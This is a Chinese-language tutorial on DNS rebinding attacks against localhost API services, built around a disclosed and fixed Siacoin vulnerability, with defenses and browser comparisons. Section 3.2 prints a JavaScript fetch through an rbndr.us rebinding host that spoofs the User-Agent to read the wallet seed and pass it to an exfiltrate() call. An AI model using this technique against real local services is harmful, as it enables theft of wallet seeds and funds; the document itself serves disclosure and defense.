Web标准安全性研究:对某数字货币服务的授权渗透
字数 1377 2025-08-18 11:38:56
Web标准安全性研究:针对本地API服务的DNS重绑定攻击教学文档
1. 背景与核心概念
1.1 本地API服务的安全假设
- 现代应用程序常使用localhost API服务(127.0.0.1)分离UI与核心逻辑
- 开发者假设绑定到localhost的服务是安全的,不会被远程攻击
- 这种假设在浏览器环境下可能不成立
1.2 相关案例
- 暴雪游戏系列(魔兽世界、守望先锋等)曾存在DNS重绑定漏洞
- uTorrent曾存在类似漏洞导致远程代码执行
- Zoom视频会议应用也曾发现可利用问题
2. 攻击原理与技术细节
2.1 同源策略(SOP)机制
- 浏览器安全基础策略,限制不同源之间的交互
- 跨源请求限制:
- 不允许包含"不安全"标头
- 目标站点可通过CORS标头控制响应可见性
- "安全"请求标准:
- 仅允许特定方法(GET, HEAD, POST)
- 仅允许特定标头(Accept, Accept-Language等)
2.2 DNS重绑定技术
-
攻击流程:
- 用户访问攻击者控制的域名
- DNS首次解析为攻击者服务器IP(如12.34.56.78)
- 设置极短TTL防止缓存
- TTL过期后,DNS解析为127.0.0.1
- 浏览器认为仍在与原始域通信,实际请求发往本地服务
-
工具示例:rbndr.us (Tavis Ormandy创建)
2.3 标头欺骗技术
- 标准允许同源请求设置任意User-Agent
- User-Agent不在"禁止标头列表"中
- 攻击者可利用DNS重绑定将跨域请求转为同源请求后修改User-Agent
3. 针对Siacoin的实际攻击案例
3.1 Siacoin防护机制
- 检查User-Agent必须包含"Sia-Agent"
- 初始防护代码:
if !strings.Contains(req.UserAgent(), "Sia-Agent") {
writeError(w, "Browser access disabled...", http.StatusBadRequest)
return
}
3.2 完整攻击流程
- 设置DNS重绑定(使用rbndr.us)
- 等待DNS记录更新至127.0.0.1
- 构造恶意请求:
// 设置自定义User-Agent
fetch('http://7f000001.<our_ip>.rbndr.us:9980/wallet/seed', {
headers: {
'User-Agent': 'Sia-Agent'
}
})
.then(response => response.text())
.then(data => exfiltrate(data));
3.3 攻击后果
- 窃取钱包种子(可重建私钥)
- 完全控制受害者资金
- 潜在远程代码执行(通过文件上传/下载功能)
4. 防御措施
4.1 有效防护方案
- 磁盘令牌验证:API请求需附带存储在磁盘上的密钥
- 网络隔离:如Microsoft Edge的app-container实现
- 多重验证:结合多种验证机制
4.2 不推荐的防护方案
- 单纯依赖User-Agent检查
- 仅检查Host或Referer头
- 依赖浏览器默认安全策略
5. 浏览器兼容性分析
| 浏览器 | 是否易受攻击 | 原因 |
|---|---|---|
| Chrome | 部分防护 | 阻止DNS重绑定时的User-Agent设置 |
| Firefox | 易受攻击 | 完全遵循标准 |
| Safari | 易受攻击 | 完全遵循标准 |
| Edge | 防护 | 内置网络隔离阻止localhost连接 |
6. 时间线与披露
- 2018年9月:向Nebulous Labs披露
- 及时修复:通过强化磁盘令牌验证机制
7. 扩展思考
- 类似攻击可应用于其他加密货币守护进程
- 现代Web标准与安全实践的潜在冲突
- 本地服务安全模型的重新评估需求
8. 参考资源
- Google Project Zero相关研究
- CORS与SOP标准文档
- DNS重绑定技术白皮书
- 原始披露报告与修复方案